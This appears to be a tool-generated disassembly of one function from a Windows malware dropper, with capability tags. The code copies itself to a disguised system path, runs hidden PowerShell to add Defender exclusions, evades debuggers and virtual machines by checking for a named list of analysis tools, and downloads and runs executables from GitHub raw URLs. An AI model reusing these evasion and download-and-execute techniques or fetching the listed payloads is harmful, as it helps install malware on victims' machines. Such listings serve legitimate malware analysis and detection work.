Function at 0x401f70
Capabilities:
Check for debugger via api
Create process on windows
Create thread
Download url
Encode data using xor
Enumerate processes
Get common file path
Receive data

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
mov eax, 0x21d8
call fcn.00403ab0
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0x21d4], eax
push esi
push edi
push 0x104
lea eax, [esp + 0x9bc]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea eax, [esp + 0x9b8]
push eax
lea eax, [esp + 0x19dc]
push str.cmd__c_copy___ls___C:_Windows_audiodg.exe_
push eax
call fcn.00402a10
add esp, 0xc
mov dword [esp + 0xb8], 0x44
lea eax, [esp + 0xbc]
push 0x40
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [esp + 0x2c]
push eax
lea eax, [esp + 0xbc]
push eax
push 0
push 0
push 0x8000000
push 0
push 0
push 0
lea eax, [esp + 0x19f8]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x4027df
push 0xffffffffffffffff
push dword [esp + 0x30]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [esp + 0x2c]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [esp + 0x30]
call esi
push str.C:_Windows_audiodg.exe
lea eax, [esp + 0x11dc]
push str.powershell__WindowStyle_Hidden__Command__Add_MpPreference__ExclusionPath__ls_
push eax
call fcn.00402a10
add esp, 0xc
call fcn.00401180
test al, al
je 0x402067
push 0x40
push str.NETHER
push str.You_are_running_the_program_on_a_VMWare_
jmp 0x4027d7
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
jne 0x4027cb
mov dword [esp + 0x3c], eax
lea eax, [esp + 0x3c]
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_CheckRemoteDebuggerPresent]
cmp dword [esp + 0x3c], 0
jne 0x4027cb
push 0
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov edi, eax
cmp edi, 0xffffffff
je 0x40227c
lea eax, [esp + 0x100]
mov dword [esp + 0x100], 0x22c
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
jne 0x4020d1
push edi
call esi
jmp 0x40227c
mov dword [esp + 0x330], str.ollydbg.exe
mov dword [esp + 0x334], str.ida.exe
mov dword [esp + 0x338], str.windbg.exe
mov dword [esp + 0x33c], str.x64dbg.exe
mov dword [esp + 0x340], str.dbgview.exe
mov dword [esp + 0x344], str.sysinternals.exe
mov dword [esp + 0x348], str.ollydbg64.exe
mov dword [esp + 0x34c], str.ida64.exe
mov dword [esp + 0x350], str.idaq.exe
mov dword [esp + 0x354], str.idaq64.exe
mov dword [esp + 0x358], str.idaq64.exe
mov dword [esp + 0x35c], str.ImmunityDebugger.exe
mov dword [esp + 0x360], str.procdump.exe
mov dword [esp + 0x364], str.processhacker.exe
mov dword [esp + 0x368], str.mdbg.exe
mov dword [esp + 0x36c], str.mdbg64.exe
mov dword [esp + 0x370], str.linux
mov dword [esp + 0x374], 0x40485c
mov dword [esp + 0x378], str.lldb
mov dword [esp + 0x37c], str.radare2
mov dword [esp + 0x380], str.x32dbg.exe
mov dword [esp + 0x384], str.x32dbg_qt.exe
mov dword [esp + 0x388], str.x96dbg.exe
mov dword [esp + 0x38c], str.x96dbg_qt.exe
mov dword [esp + 0x390], str.x96dbg_qt.exe
mov dword [esp + 0x394], str.uninstalltool.exe
mov dword [esp + 0x398], str.uninstalltoolhelper.exe
nop word [eax + eax]
lea esi, [esp + 0x330]
nop word [eax + eax]
mov eax, dword [esi]
lea ecx, [esp + 0x124]
nop dword [eax]
mov dx, word [ecx]
cmp dx, word [eax]
jne 0x402246
test dx, dx
je 0x402242
mov dx, word [ecx + 2]
cmp dx, word [eax + 2]
jne 0x402246
add ecx, 4
add eax, 4
test dx, dx
jne 0x402220
xor eax, eax
jmp 0x40224b
sbb eax, eax
or eax, 1
test eax, eax
je 0x4027c3
add esi, 4
lea eax, [esp + 0x39c]
cmp esi, eax
jne 0x402210
lea eax, [esp + 0x100]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x402200
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
call eax
push 0x2710
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edi, dword [sym.imp.KERNEL32.dll_GetTempPathW]
lea eax, [esp + 0x5a8]
push eax
push 0x104
call edi
mov eax, dword [0x404eac]
xor esi, esi
movq xmm0, qword [0x404ea4]
mov dword [esp + 0x48], eax
mov ax, word [0x404eb0]
movq qword [esp + 0x40], xmm0
mov word [esp + 0x4c], ax
mov eax, 0x51eb851f
mov ecx, esi
mul esi
shr edx, 4
imul eax, edx, 0x32
sub ecx, eax
add ecx, 0x37
xor word [esp + esi*2 + 0x40], cx
inc esi
cmp esi, 7
jl 0x4022c0
lea eax, [esp + 0x40]
push eax
lea eax, [esp + 0x5ac]
push eax
lea eax, [esp + 0x7b8]
push eax
call dword [sym.imp.SHLWAPI.dll_PathCombineW]
lea eax, [esp + 0xbc0]
push eax
push 0x104
call edi
movups xmm0, xmmword [0x404df4]
pextrw eax, xmm0, 7
movups xmmword [esp + 0x40], xmm0
test ax, ax
mov eax, dword [0x40742c]
je 0x402436
xor esi, esi
cmp eax, 2
jl 0x402410
movaps xmm2, xmmword [0x404ec0]
mov eax, 0x404df4
movaps xmm3, xmmword [0x404f00]
movaps xmm1, xmm2
punpckldq xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x404ee0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movaps xmm2, xmmword [0x404ed0]
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
paddw xmm1, xmmword [0x404ef0]
movq xmm0, qword [eax]
xorps xmm1, xmm0
movaps xmm0, xmm2
movq qword [esp + 0x40], xmm1
movaps xmm1, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x404ee0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
movq xmm0, qword [esp + 0x48]
paddw xmm1, xmmword [0x404ef0]
xorps xmm1, xmm0
movq qword [esp + 0x48], xmm1
jmp 0x402436
mov eax, 0x51eb851f
mov ecx, esi
imul esi
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
imul eax, eax, 0x32
sub ecx, eax
add ecx, 0x37
xor word [esp + esi*2 + 0x40], cx
inc esi
cmp esi, 8
jl 0x402410
lea eax, [esp + 0x40]
push eax
lea eax, [esp + 0xbc4]
push eax
lea eax, [esp + 0xdd0]
push eax
call dword [sym.imp.SHLWAPI.dll_PathCombineW]
mov esi, dword [sym.imp.urlmon.dll_URLDownloadToFileW]
lea eax, [esp + 0x7b0]
push 0
push 0
push eax
push str.https:__raw.githubusercontent.com_Nether1337_botkiller_main_xd.exe
push 0
call esi
test eax, eax
jne 0x402493
push eax
push eax
lea eax, [esp + 0xdd0]
push eax
push str.https:__raw.githubusercontent.com_Nether1337_botkiller_main_xd1.exe
push 0
call esi
test eax, eax
jne 0x402493
lea ecx, [esp + 0x7b0]
call fcn.004013a0
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [esp + 0xfd0]
push eax
push 0x104
call edi
cmp word [0x404df2], 0
movups xmm0, xmmword [0x404ddc]
movups xmmword [esp + 0x40], xmm0
movq xmm0, qword [str.Z8_BO_b]
movq qword [esp + 0x50], xmm0
je 0x4025fc
xor esi, esi
cmp dword [0x40742c], 2
jl 0x4025d0
movaps xmm2, xmmword [0x404ec0]
mov eax, 0x404ddc
movaps xmm3, xmmword [0x404f00]
movaps xmm1, xmm2
punpckldq xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
mov esi, 8
pmuldq xmm0, xmm3
movaps xmm5, xmmword [0x404ef0]
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x404ee0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movaps xmm2, xmmword [0x404ed0]
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
movq xmm0, xmm5
paddw xmm1, xmm0
movq xmm0, qword [eax]
xorps xmm1, xmm0
movaps xmm0, xmm2
movq qword [esp + 0x40], xmm1
movaps xmm1, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x404ee0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
movq xmm0, xmm5
paddw xmm1, xmm0
movq xmm0, qword [esp + 0x48]
xorps xmm1, xmm0
movq qword [esp + 0x48], xmm1
nop dword [eax + eax]
mov eax, 0x51eb851f
mov ecx, esi
imul esi
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
imul eax, eax, 0x32
sub ecx, eax
add ecx, 0x37
xor word [esp + esi*2 + 0x40], cx
inc esi
cmp esi, 0xc
jl 0x4025d0
mov esi, dword [sym.imp.urlmon.dll_URLDownloadToFileW]
lea eax, [esp + 0x40]
push eax
lea eax, [esp + 0xfd4]
push eax
lea eax, [esp + 0x3a8]
push eax
call dword [sym.imp.SHLWAPI.dll_PathCombineW]
push str.C:WindowsSystem32WindowsPowerShell_v1.0powershell.exe
lea eax, [esp + 0x11dc]
push str.powershell__WindowStyle_Hidden__Command__Add_MpPreference__ExclusionPath__ls_
push eax
call fcn.00402a10
add esp, 0xc
lea eax, [esp + 0x11d8]
push str.C:_Windows_audiodg.exe
push str.powershell__WindowStyle_Hidden__Command__Add_MpPreference__ExclusionPath__ls_
push eax
call fcn.00402a10
add esp, 0xc
mov dword [esp + 0x70], 0x44
xor eax, eax
mov dword [esp + 0x9c], 1
mov word [esp + 0xb2], ax
xorps xmm0, xmm0
mov word [esp + 0xa0], ax
lea eax, [esp + 0x10]
push eax
lea eax, [esp + 0x74]
movlpd qword [esp + 0x78], xmm0
push eax
push 0
push 0
push 0x8000000
push 0
push 0
push 0
lea eax, [esp + 0x11f8]
movlpd qword [esp + 0x9c], xmm0
push eax
push 0
movlpd qword [esp + 0xac], xmm0
movlpd qword [esp + 0xb4], xmm0
movlpd qword [esp + 0xbc], xmm0
movlpd qword [esp + 0xca], xmm0
movlpd qword [esp + 0xd2], xmm0
movaps xmmword [esp + 0x38], xmm0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
push 0xffffffffffffffff
push dword [esp + 0x14]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [esp + 0x10]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call edi
push dword [esp + 0x14]
call edi
push 0
push 0
lea eax, [esp + 0x3a8]
push eax
push str.https:__raw.githubusercontent.com_Nether1337_freedownload_main_neth.exe
push 0
call esi
test eax, eax
jne 0x4027ab
lea eax, [esp + 0x3a0]
push eax
lea eax, [esp + 0x11dc]
push str.powershell__WindowStyle_Hidden__Command__Add_MpPreference__ExclusionPath__ls_
push eax
call fcn.00402a10
add esp, 0xc
lea eax, [esp + 0x3a0]
push 0
push 0
push eax
push 0x401910
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
lea ecx, [esp + 0x3a0]
call fcn.004013a0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateJobObjectW]
mov esi, eax
test esi, esi
je 0x4027ab
push 0x2c
lea eax, [esp + 0x48]
mov dword [esp + 0x44], 0
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
mov dword [esp + 0x50], 0x2000
lea eax, [esp + 0x40]
push 0x30
push eax
push 2
push esi
call dword [sym.imp.KERNEL32.dll_SetInformationJobObject]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
xor eax, eax
pop edi
pop esi
mov ecx, dword [esp + 0x21d4]
xor ecx, esp
call fcn.00402d49
mov esp, ebp
pop ebp
ret 0x10
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
call eax
push 0x40
push str.NETHER
push str.You_run_the_program_using_the_debugger_
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, dword [esp + 0x21dc]
mov eax, 1
pop edi
pop esi
xor ecx, esp
call fcn.00402d49
mov esp, ebp
pop ebp
ret 0x10